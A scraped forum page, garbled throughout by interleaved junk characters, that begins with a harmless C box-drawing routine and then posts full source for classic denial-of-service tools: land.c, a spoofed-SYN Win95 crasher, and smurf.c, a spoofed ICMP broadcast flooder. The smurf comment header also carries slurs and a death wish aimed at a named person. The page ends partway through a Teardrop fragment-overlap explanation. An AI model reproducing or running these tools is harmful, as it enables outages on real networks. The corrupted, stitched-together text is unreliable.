5 E& t8 z8 v# v( e; T2 `* Short driver module
$ j3 h% l, j! ]8 {5 \*
! W. [. K% n. L5 k1 [*/</FONT></P><><FONT color=#009900>main()
7 a7 y1 Z8 c0 A% m) }{
- N, k( y4 o7 o1 j5 Xclrscr();( N1 o) ^6 V$ }$ Q& a. P- x5 ^
box(1,1,23,79);
+ [7 h4 s. q! r" f+ r( s7 S; x  ]4 _box(2,2,21,77);
5 v! F* G6 `' J3 D7 k2 q( Wbox(3,3,19,75);
& M& U. V$ W* |( W' S+ w" c0 T4 a  s, Obox(4,4,17,73);
7 Z0 G8 e0 T. s6 Z1 Rbox(5,5,15,71);
2 i# h( b/ \$ M3 |box(6,6,13,69);
* d7 @% ], y4 ?( [! J4 @3 h/ Pbox(7,7,11,67);4 v5 R' |" [; d/ d
box(8,8,9,65);
8 m' q3 e9 }  [4 a* c2 P% Lbox(9,9,7,63);
% o! @& i+ E+ zbox(10,10,5,61);
# e9 j6 J7 n& O- ?! \5 gbox(11,11,3,59);
( d  ^7 X' L1 w2 ibox(12,12,1,57);
; U8 H0 X2 d1 n4 B, t& v$ Z. yposcur(24,1);
- z7 O9 e- w9 Y7 i( O  q}</FONT></P><><FONT color=#009900>/************************************************************
. j! u+ M+ c. N1 s: O- h* BOX *% `$ f" H6 C4 X
*----------------------------------------------------------*
/ t( T2 q" T7 r* Written by: Jeff Ebert 7/01/87 *
: }7 o, |6 F9 A* Modified by: xxxxxxxxxx *
, V6 A, i& S7 A- S0 j! S* *( h, v; q2 s4 Q/ e- T# \) _/ D
* Please modify me! *1 t1 i5 Z* m; z& e
* Possible Enhancements include but are not limited t *
# h; H) @7 r! v7 g, X5 H* 1) Variable box character styles [1 line or 2] *
0 r$ S& k$ L8 a% t: S- R/ r& F0 Z- h* 2) Error checking *
/ s6 s) ~  z' _& t$ _, B* 3) Color options *
0 H% D! e1 ]( d2 f% A* *+ g" F* b/ A3 p7 T' W1 N7 u$ {- @- _/ j
* *) e; J' c  g$ h5 H, Z
* This function builds a simple double frame for a menu. *
2 r1 A! w& n) |, H+ x/ ?* The function is passed the parameters for the upper *+ [% j% J& T: E% d8 S- h
* left corner row, upper left corner column the height *
0 y, K. x0 D5 p9 F* of the frame and the width. *
' }) @* v1 V# S8 ^* *6 ~8 K# U8 o1 {/ }
************************************************************/
$ G3 R) D9 z( W7 b0 A* `#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
' f* {* y: P0 r1 ~#define URCOR 187
5 r8 U' O* X( s' R  V#define LLCOR 200
/ u( b, r$ b5 U/ s8 a#define LRCOR 188
) H: Q+ Q  Y  g5 F#define VBAR 186, f, f5 D: V0 A" J0 M2 M# T8 I6 d
#define HBAR 205: S' y/ Y$ u& |4 e6 O" L
#define ESC 27</FONT></P><><FONT color=#009900>
4 _# L) V  ^9 C  c4 Ubox(row, col, hgt, wdth)0 l) P. J! \; G8 m5 `
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
8 S& G! J5 Y5 M& V9 n9 r2 q0 oint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);- b/ M- y2 \; I
putchar(ULCOR);
4 J# X6 ?2 m7 Tfor(x = col + 1; x &lt;=(col + wdth -1); x++)
0 |. z! b  b9 C+ k. gputchar(HBAR);# b3 {# R* x/ ?0 p  F! L
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){5 V" i1 O( K9 j: ^# F
poscur(x,col);" y' V6 q2 I8 y2 u) P  S% i; |
putchar(VBAR);
% O6 _0 |0 l' U. aposcur(x,col+wdth);9 s& b6 d5 C/ u
putchar(VBAR);1 ]1 r+ t# _: _& T
}
+ r. I' P  c/ Xposcur(x,col);& b" {& k" Q* x6 v
putchar(LLCOR);5 e/ }4 W8 l* L! f- a7 E
for(x= col + 1; x &lt;=(col + wdth -1); x++)
8 {# Y7 w0 ?% V. r/ ?putchar(HBAR);- `( ~5 q" J& g. d0 E" t
putchar(LRCOR);) E: }1 K9 @9 @; W: a
}</FONT></P><><FONT color=#009900>/********************************************************2 c6 m# `  F: b! g, c
* POSCUR *
8 r! o* H' N1 J& o0 N*------------------------------------------------------*2 B8 i. ~+ w$ f9 d; }4 A
* This function positions the cursor at the specified *
" D/ R4 Q7 |( z' u' s* x,y coordinate. It uses the ANSI standard ESCAPE *
' S% R) i% f1 `6 j% [( \2 d! |! j* sequence to produce the desired effect. Its not the *3 K6 }% _. P- l" W, r
* fastest way to position the cursor, but perhaps the *
0 z- {  m, ~7 H# ~! ]* most portable. *. v$ P9 K/ o- B& a! ?
* *
$ z) ?, n6 b% `********************************************************/
0 a9 s4 D7 P% ^& P1 Z$ {3 Lposcur(xcor,ycor)8 n/ l- q) n' t. ~# q
int xcor,ycor;
9 \5 C0 Q6 s. d{ ! e& R& Q- X+ y3 J3 X/ Q
printf("%c[%d;%dH",ESC,xcor,ycor);
' A, P# w  U: g* |, h" T}</FONT></P><><FONT color=#009900>
5 E. ]) {/ r9 D% ]& L2 y5 x/********************************************************
+ J* w' X& ?. t6 T- p- A0 L/ T* CLRSCR *& a* b) q% g1 T. u8 S
*------------------------------------------------------*
! \, P% z$ h; T* This function positions the cursor at the specified *8 X, `. S$ c) X5 \. P
* x,y coordinate. It uses the ANSI standard ESCAPE *
3 B, {2 K  k1 s" X% n+ D* sequence to produce the desired effect. Its not the *
8 P! T  z- J- \/ p2 O* fastest way to position the cursor, but perhaps the *
  E5 _$ j$ \8 W' D$ u$ o, B5 E1 }* most portable. *
0 a' g5 G6 \  Z) B8 p) _  I; ^3 k  m* */ D9 u. O8 K) v) P4 w3 X! |. Q) i
********************************************************/
/ F# N9 l2 u' @6 y& W+ ^1 @6 rclrscr()
- Z+ z7 T) y+ f( U# }{ ( y% M& h* Y# K  D+ c  W
printf("%c[2J",ESC);1 J; D, B4 z0 }" ^$ L/ C8 ^, k
}</FONT>
& @2 g4 W* N# T. t</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract8 S; [# S( l, c: ^+ }
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自6 Z2 d2 ?' V# s, N' p6 W
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>- X, Y& @- N9 y/ o: z0 B( ]
<FONT color=#009900>/* land.c by m3lt, FLC
4 f. n0 t8 E* F, B9 G! h" x4 ~crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>4 T! H9 {& \% X3 y. b/ r
#include <NETDB.H>2 e4 z8 G" S3 Y0 H% i
#include <ARPA inet.h>
% s8 G3 a3 y, `+ g#include <NETINET in.h>! F$ G  Q% s6 ?! `
#include <SYS types.h>7 r* `# B# G& t2 Z6 v5 |+ r
#include <SYS socket.h>4 t3 I+ r! e+ F( z: k5 h% v
#include <NETINET ip.h>
; E- q. `' W( f5 y0 \! v1 C! h#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
, X. q. Y9 D  |  A% a0 m! J3 ostruct pseudohdr
" n  |9 J0 h/ ]. H4 z( Y{
6 N1 S, `2 R( a7 kstruct in_addr saddr;. a9 v" |* }( S% H
struct in_addr daddr;
" v8 c0 a) h) i- k# au_char zero;1 P! ]0 I# L! k. p( `
u_char protocol;2 w% j# N3 n/ P! |) L% g; C
u_short length;( a* v6 z) C% @7 B0 j: t
struct tcphdr tcpheader;& \9 A, f6 A' Z0 m. P7 S: [
};</FONT></P><><FONT color=#009900>//计算IP校验和
9 p, N! ]2 K. d. i7 U6 e  wu_short checksum(u_short * data,u_short length), j7 M! P+ ?4 w  F
{# @+ n3 J3 L. r2 t# ?( I
register long value;, f7 X* h. k! C0 H7 ~
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
3 D2 Z. `3 [' f) j5 Bvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
; }" z- k: {5 h9 I' h+ F$ ivalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
) T; W( U* I3 C. Q7 \9 z}</FONT></P><><FONT color=#009900>
/ N, _' V+ [; A! }0 wint main(int argc,char * * argv)3 j. R8 t$ }5 f) @* g
{/ S3 X2 t+ Q1 o/ U) o, B
struct sockaddr_in sin;
; _6 t/ E3 _  J" |' Wstruct hostent * hoste;
! Y6 W' [& h3 O5 Qint sock;
$ E& n" K: V/ m& e4 Wchar buffer[40];' d7 U0 Q7 A$ U% k( R
struct iphdr * ipheader=(struct iphdr *) buffer;2 x& N* m1 i' I" g- V5 [5 M
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
* k* D0 U' G: M: Ostruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)' w6 k/ \6 H6 V
{) W4 j# T# o2 I. J- n
fprintf(stderr,"usage: %s IP port\n",argv[0]);
3 f2 K, W, d9 ]% b9 G- f7 ]return(-1);
8 U/ I. R2 t3 g}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
5 Z$ \3 w& ^9 `0 m& Qsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)4 M; Z5 t9 V9 I7 P* h
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);% N- C+ P9 I0 G5 {# o+ b
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
$ x8 B  k% j  F- L4 _) s3 j0 X, b{3 e- m: M1 t. ?( g, J0 g
fprintf(stderr,"unknown host %s\n",argv[1]);2 B# B) I" Y/ V5 a3 a0 |
return(-1);6 T  X  Q0 i7 N9 j6 v7 h
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)! i9 ?5 U: D  L8 r! A
{
- K$ a( u, r# j9 r0 D* C& m2 o0 vfprintf(stderr,"unknown port %s\n",argv[2]);
" q- J% B, {- c8 D. c; @return(-1);9 G( N- b( v4 \. l* m' w& y
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限8 H# T  H) }+ z, ?/ a" A9 |
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)+ n( _# @% N5 [! \) }, ~
{
. {- y' t( o/ i- u1 _0 H/ xfprintf(stderr,"couldn't allocate raw socket\n");
4 H% x! A- ?+ @6 I: T9 dreturn(-1);' m- ?5 \* h  e+ e# z' Z$ M1 S! O
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));7 I# w# K; m, u. a+ c# |
ipheader-&gt;version=4;3 x' u6 e4 f5 d
ipheader-&gt;ihl=sizeof(struct iphdr)/4;  T4 T5 W: |. P8 l+ e- `) J
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));# @: w& n9 D; l, w: ]/ E2 Q' y
ipheader-&gt;id=htons(0xF1C);
/ D# i+ ^4 {5 s8 l2 A( r# iipheader-&gt;ttl=255;( S- T$ `7 s/ [' C- T# w: T/ J
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同  A5 @8 P" u2 T2 \$ Q
ipheader-&gt;saddr=sin.sin_addr.s_addr;6 K( V) n5 x  J; _# n. o9 ~8 c
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同* u& c& j" p4 w2 Y* M
tcpheader-&gt;th_sport=sin.sin_port;. `# m0 Z3 }  O7 B, R% s4 S
tcpheader-&gt;th_dport=sin.sin_port;4 |" l9 P4 n2 {  e
tcpheader-&gt;th_seq=htonl(0xF1C);
: I( ^7 w7 \5 J" |  W! Ctcpheader-&gt;th_flags=TH_SYN;5 g1 ~3 `8 Q+ Z( E
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;' d" c# s1 F. K9 e  Q, U! X
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));2 v5 }4 F6 `& Y
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;4 O0 e4 P, N; ?% H' c# g
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;/ L9 c7 G' B* O# u) w- Q8 V6 F
pseudoheader.protocol=6;: A7 a4 X2 F% X& l
pseudoheader.length=htons(sizeof(struct tcphdr));
  ~! ^. f, T4 |& {0 G: Tbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
! l% I, T, d( a+ a- d& Itcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),  s2 m( R7 x8 i( ]1 _+ r6 c& ^( K
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
$ W- }9 U3 w+ Y# u, K  V/ ^' b{
9 t* ?! J8 h8 v, Tfprintf(stderr,"couldn't send packet\n");
1 Z  [7 [" s9 i1 w0 r4 D9 {return(-1);
6 g( S/ k# ]6 g7 n" c, x8 ]0 `}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
9 g. E' M6 t: J; k. V) R6 ureturn(0);
& e0 H# C) K( {7 }$ r7 y}</FONT></P><>
) S; D+ U0 l& m: y/ b2 Smurf3 F0 ?4 H9 o0 A  |- @' M# U
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
9 K6 L; l% l" \  x据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包5 V- a- M0 E0 @
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些8 T# {$ `, L: |/ M, E- T
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢( L& w/ Z9 W7 Y2 ~+ K& P
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变- X1 ~7 \& }) U8 G: [
成不可能(没有WINS服务器时)。</P><P>/*7 m' J( i( O- Y  u! b, `
*
) f0 z7 J- u( W0 J  x  k* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $* I* E% {9 y( @. |' a% m5 y: r
*: r2 o* B# Y8 y
* spoofs icmp packets from a host to various broadcast addresses resulting* \% i- r2 C. Q$ N* W9 F! B
* in multiple replies to that host from a single packet.
# E6 u1 ]; j% V2 Q*  D$ J1 I( a$ s- s
* mad head t
# l4 H" F. R# x6 x9 s) o7 u+ T; x1 `* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,% `4 S8 }, g6 x8 D4 W
* MissSatan for swallowing, napster for pimping my sister, the guy that
4 R2 f- c* o* w+ U* invented vaseline, fyber for trying, knowy, old school #havok, kain. U+ ]$ S9 k0 V" a
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
+ C/ _, o  Y" i5 J* have missed (you know who you are).7 ]& U5 F  r4 E, L' e% D& u8 s
*. s% V: }3 I' s/ Z, V: N5 S; H2 o
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
- ]! Q% Q3 \" X8 G* thing he is (he's -almost- as stubborn as me, still i managed to pick up. `8 r) E- S, |% J5 f
* half the cheque).- t+ @6 T( E$ `+ z7 `$ b% m; I- S0 e6 m
*2 ^7 o* `# K/ \* @6 D' i
* and a special hi to Todd, face it dude, you're fucking awesome.
: j) t  w8 `: x- B$ r6 h% i5 ]*7 \; a. b. ?5 @. w4 S4 T* G
* mad anal t
7 J9 N# q& K3 M: e* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
/ o) F- o2 p1 m* because they plain suck, Rolex for being a twit, everyone that4 Q5 W2 E) B# R9 h- @$ ]5 d$ M
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
2 h" Q. ]' S# E4 K* partner, #cha0s, sedriss for having an ego in inverse proportion to
- v/ C+ Y: j- g4 u6 ^9 b4 Y! B* his penis and anyone that can't pee standing up -- you don't know what
$ G! l% X- b& o4 ]7 ^; S. ~* your missing out on.3 t+ f, [, u/ g! ]9 t* M
*
; S7 q! f: E) N" C. ]* and anyone thats ripped my code (diff smurf.c axcast.c is rather3 _# o2 b3 g1 [+ J$ l  |/ [3 w
* interesting).9 B7 R: P+ k3 ?. X! N9 k
*3 F2 [# _  H0 Y$ T3 E5 P
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill6 s0 X8 l$ a4 J# `4 t
* Robbins for trying to steal my girlfriend. Not only did you show me, R4 l: a+ ^% N  g9 c
* no respect but you're a manipulating prick who tried to take away the/ I% H3 [9 v3 c6 K# S& V
* most important thing in the world to me with no guilt whatsoever, and
- i; k6 e. y8 J- v( ~" q' b* for that I wish you nothing but pain. Die.0 y+ v  ?" K$ r- W8 Y6 r
*
5 }; p9 E5 ?$ ?. `4 a1 u3 f* disclaimer:
$ H8 I; Z. X4 X* I cannot and will not be held responsible nor legally bound for the
. w! Y) d- L- {. P* malicious activities of individuals who come into possession of this2 f$ |6 v* A( X2 F
* program and I refuse to provide help or support of any kind and do NOT& _% P$ }% c  H
* condone use of this program to deny service to anyone or any machine.
4 `" C& M8 p  d- {, Y; R/ |$ B% X* This is for educational use only. Please Don't abuse this.' o+ [' J8 L% t' _( b2 z
*
) ~' f* t! ~# V7 E4 [: K4 D* Well, i really, really, hate this code, but yet here I am creating another
# d" X6 _- s5 X) M* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
+ q7 }* H0 W) k# Z; x% \* like most programmers don't like seeing bugs in their code. I saw a few  Z5 b6 @/ k$ \) k% t% P* _
* things that should have been done better or needed fixing so I fixed
5 \2 H3 d7 l; |6 J7 c* them. -shrug-, programming for me as always seemed to take the pain away
) n0 X- Z0 O4 |9 }; M* s6 v1 ~' Q5 R$ f* ...
& ]/ d/ w+ x" c" p4 y. g0 F6 N*
1 b6 c) f( ?* ]- d& o4 K; c/ ^- X*9 Y$ Y+ o2 x6 @; T2 ^6 y/ I4 H# C
*/</P><P>#include <SIGNAL.H>; i" e- C6 l1 d  e
#include <STDIO.H>% H- t3 o7 X' Y, |5 Z# C2 q3 N" o
#include <STDLIB.H>4 X( h) t5 a* ]2 X2 l/ E6 z4 Q# E4 G: y
#include <SYS socket.h>
3 u% b0 {7 M. g* H#include <SYS types.h>
$ u; M- ~, J7 N1 G# W6 T#include <NETINET in.h>
$ A: K0 W' q( |" p  ~4 p#include <NETINET ip.h>7 M0 v/ n7 j# d! l6 W# Q
#include <NETINET ip_icmp.h>: U0 b  G. s7 c7 R2 S
#include <NETDB.H>9 {# M5 a0 d' A1 |: p  U, \
#include <CTYPE.H>% m! P+ R' L8 b3 k7 ^6 g
#include <ARPA inet.h>
% K0 i" N! y( c; r7 a2 ]$ r#include <UNISTD.H>
! ]; ?2 t7 h( X#include <STRING.H></P><P>void banner(void);
7 ?( F# l) m' E+ jvoid usage(char *);. t8 o- q4 i. M7 M* w7 K5 @& @
void smurf(int, struct sockaddr_in, u_long, int);
. K! b$ g, _* p& Lvoid ctrlc(int);
' W( a/ F; D- m- O5 j  u# Punsigned short in_chksum(u_short *, int);</P><P>/* stamp */& L/ h  @: p9 e
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
; R) v+ b/ r# i, F{
' U3 g6 @  ~- [  jstruct sockaddr_in sin;
( @9 v2 T8 r2 istruct hostent *he;3 A. V: d* J& [0 y" Z
FILE *bcastfile;" o* {  k) g) Y( D- I' i
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;( _" c3 g5 F4 h$ e$ v& w
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();, v* x. u, V$ p2 y& j
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {: Z8 s$ d- M, H6 w
perror("resolving source host");! R! K$ y. ]8 c! |6 t3 `" w( J
exit(-1);$ F0 Z! X# J3 F& T9 r. n& l9 q
}" L$ a4 w7 V: P' a' j
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);# L. s5 ]: l7 N4 l* z
sin.sin_family = AF_INET;
) Z+ E' j8 L+ l: W6 _sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
) R" O0 F1 Y/ Pdelay = atoi(argv[4]);7 V1 }0 R: Q! Y& r
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
6 \/ G, x7 z- W0 ?  o; Pperror("opening bcast file");$ j- K+ Q: U+ R$ ]" K+ Q
exit(-1);
( t6 }. Q# _! j0 B  R& n% w}
! G+ n! b! ?/ C3 fx = 0;
* G& V" q7 t+ m5 fwhile (!feof(bcastfile)) {6 }/ r7 L5 x* z3 U' n2 H. Y
fgets(buf, 32, bcastfile);3 p/ w/ s( W; p: e
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
- ]! c* a  S% `3 L. [7 k+ zfor (i = 0; i &lt; strlen(buf); i++)
& Z- B5 o" c3 ^. ^# I3 nif (buf == '\n') buf = '\0';, I& p6 T% z/ p6 L( F* W
bcastaddr[x] = malloc(32);1 I3 T2 m; _: j1 X
strcpy(bcastaddr[x], buf);7 Y  D: _+ T3 x3 j  i( \* y$ U
x++;
& C) p9 H8 S3 {}
3 ], [: W, Y6 ^" Z7 ~5 w/ Qbcastaddr[x] = 0x0;) a2 _6 Q% O0 d( a3 @
fclose(bcastfile);</P><P>if (x == 0) {
" ~1 x5 J9 T' B! Z. Pfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);. l# b9 L$ ~% K: q/ ^0 Q3 m6 m
exit(-1);; R2 d/ F7 R/ b6 M8 _: o
}# w  y/ d( ~) v4 `* f
if (pktsize &gt; 1024) {
. L6 E7 k; q7 o) U. i6 ^3 G- Qfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");9 O( w* @; ~6 L: x+ [: `* a
exit(-1);, F+ o" o5 c7 P3 \" D& N4 Q: Z
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
& h' ?; A: o" _6 @: S; W) Dperror("getting socket");  I, G: W3 d8 h4 _' Y6 ~7 [
exit(-1);5 W6 @) r5 k; k9 Q, D" c
}
3 s* W% n; {, Osetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {: r; h1 p7 x# p% Y  ]
if (!(i % 25)) { printf("."); fflush(stdout); }0 t3 f" r, Y/ @9 _5 n# U3 F5 ~. H& I
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
0 \9 w& b7 C8 H7 C2 ?cycle++;
5 t+ F: l4 h6 {  rif (bcastaddr[cycle] == 0x0) cycle = 0;
( d* W% [/ M  z) O2 z. S- O6 k; \# ausleep(delay);
, _7 H' p0 ]3 b! D) ]# h}
. v* g  N; l8 K2 J# Sputs("\n\n");
: g; x. f9 a2 w% _. vreturn 0;# v" J6 D: ~3 x# y$ z- Q
}</P><P>void banner (void)" ~* o- G! ]3 [8 c4 c0 I& b! X: N
{5 Q$ B  U2 ^7 ~  D+ q4 L8 r# O& T" \! p
puts("\nsmurf.c v4.0 by TFreak\n");
; M" F. P0 ?8 x}</P><P>void usage (char *prog)/ D( `6 f( j) h/ }3 Z
{6 j, H4 I3 |: W( g+ y
fprintf(stderr, "usage: %s <TARGET><BCAST file>", ?  z' {% Y8 p8 D/ C
"<NUM packets> <PACKET delay><PACKET size>\n\n"
/ x2 r" H6 t8 k& Y% r"target = address to hit\n"
7 J" W9 U6 `" x5 v! G7 P& Y"bcast file = file to read broadcast addresses from\n") X5 Q% I+ K9 A9 d3 Z5 l' l# V% x
"num packets = number of packets to send (0 = flood)\n"! k* \/ B8 m" a" l7 w
"packet delay = wait between each packet (in ms)\n"
0 G( L9 R5 {  ?- P8 d$ F9 Q"packet size = size of packet (&lt; 1024)\n\n", prog);0 O3 B" y% \6 U  M' {8 D
exit(-1);
$ \" B# L( o/ L+ P' B  v0 s8 @}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)# B2 A0 t+ `2 y  C* b
{
% ~! p/ q* s1 D( S7 Hstruct iphdr *ip;" r( l7 E; h6 o& K
struct icmphdr *icmp;
5 g6 }+ }! w% Z3 Q7 [! k# zchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);1 @" c; U& G( Q
ip = (struct iphdr *)packet;
0 q% g3 j" ?- {+ oicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);+ E5 I2 x: b9 J9 k5 O
ip-&gt;ihl = 5;
# }3 @$ O% I0 C. Fip-&gt;version = 4;
0 h. x1 m8 K! u+ |( Xip-&gt;ttl = 255;
) z4 m# s, E& @( o& U  nip-&gt;tos = 0;
" G+ f% C# L0 R% q: eip-&gt;frag_off = 0;+ U# I$ w$ n) H2 b9 s
ip-&gt;protocol = IPPROTO_ICMP;
# w+ s% y! r& d$ {$ F! _) Aip-&gt;saddr = sin.sin_addr.s_addr;
9 u  n6 z; ^) Aip-&gt;daddr = dest;
* S2 O) l: y& g- H$ X4 j+ eip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
: l1 u: i" X1 Xicmp-&gt;type = 8;
( {. z- i' c) ]( K- `icmp-&gt;code = 0;; k8 `6 ^- \4 ~  y# o. a
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
6 [. y5 \. O8 |+ G0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */! {5 o! Z  ~8 l! ?. `
}</P><P>void ctrlc (int ignored)
0 a$ E" a5 w4 V5 i{- A+ o% b- S2 ?: ]9 S+ e/ W5 z
puts("\nDone!\n");6 j' v; H" _: H
exit(1);; w7 I  \" O6 L* w% t/ _( n1 G
}</P><P>unsigned short in_chksum (u_short *addr, int len)2 z- Q' Z8 u4 a
{5 t) ]" a; Z* [5 Y. m
register int nleft = len;
6 g- x3 r( T  `$ h0 {register int sum = 0;6 s2 W- V" w0 A
u_short answer = 0;</P><P>while (nleft &gt; 1) {5 {9 F% m/ Z  k( Q' A: N
sum += *addr++;5 O% u( ^4 g' G+ I1 W9 N
nleft -= 2;
/ A0 j. }1 o" U% P}</P><P>if (nleft == 1) {
+ V/ V& N5 X1 h*(u_char *)(&amp;answer) = *(u_char *)addr;
9 y4 u! @- z% j4 @( w' nsum += answer;, I+ Z: }3 f7 U
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);( F7 J) ]7 z' `6 k3 L2 c: ]& [
sum += (sum &gt;&gt; 16);
; {, m- G3 B" t) c/ g% _answer = ~sum;+ u' d1 \* |/ {  w4 T% |2 w" N
return(answer);* t  }; |( Q" i% s
}</P><P>
# J- N& U; a5 e3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
5 u) j9 c6 Y8 ~, ~3 Yfp = qp-&gt;fragments;
8 P3 S; x% n" dwhile(fp != NULL)
& _( t9 U6 b9 U' Y/ y. S( s{* H* ~' V; r8 b
if(count+fp-&gt;len &gt; skb-&gt;len)
- C) k" c5 _4 _- U) E6 w4 D{
* F2 y6 b0 P5 Z! n. P+ R& [error_to_big;
* ~$ ^+ a9 A, x& {) a( F}
0 w, a2 B& r1 V5 [0 \1 ?2 Amemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
7 F+ g( ?" P# Ucount += fp-&gt;len;
7 S( ^* I* D( Zfp = fp-&gt;next;" n9 A- I3 |' _1 V& X- z1 z
}
$ T$ v9 A3 k/ P这里只检查了长度过大的情况,而没有考虑长度过小的情况,) f1 N5 Q5 d- O( v9 ~& D& K( z- K& \
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
0 M8 @5 a# J1 a! A  _; dend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
1 b# B* A* [* k  t2 L' h! G/ W' ?是这样处理的:3 B* Z" D4 ]4 T( @7 T. R1 D
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)' ~+ v) O! V) e9 f, ~/ K
{- l$ I! p" p* V6 ~
i = prev-&gt;end - offset;  @& j. H0 z9 A. E: l
offset += i; /* ptr into datagram */* }) y2 B# H" b' h
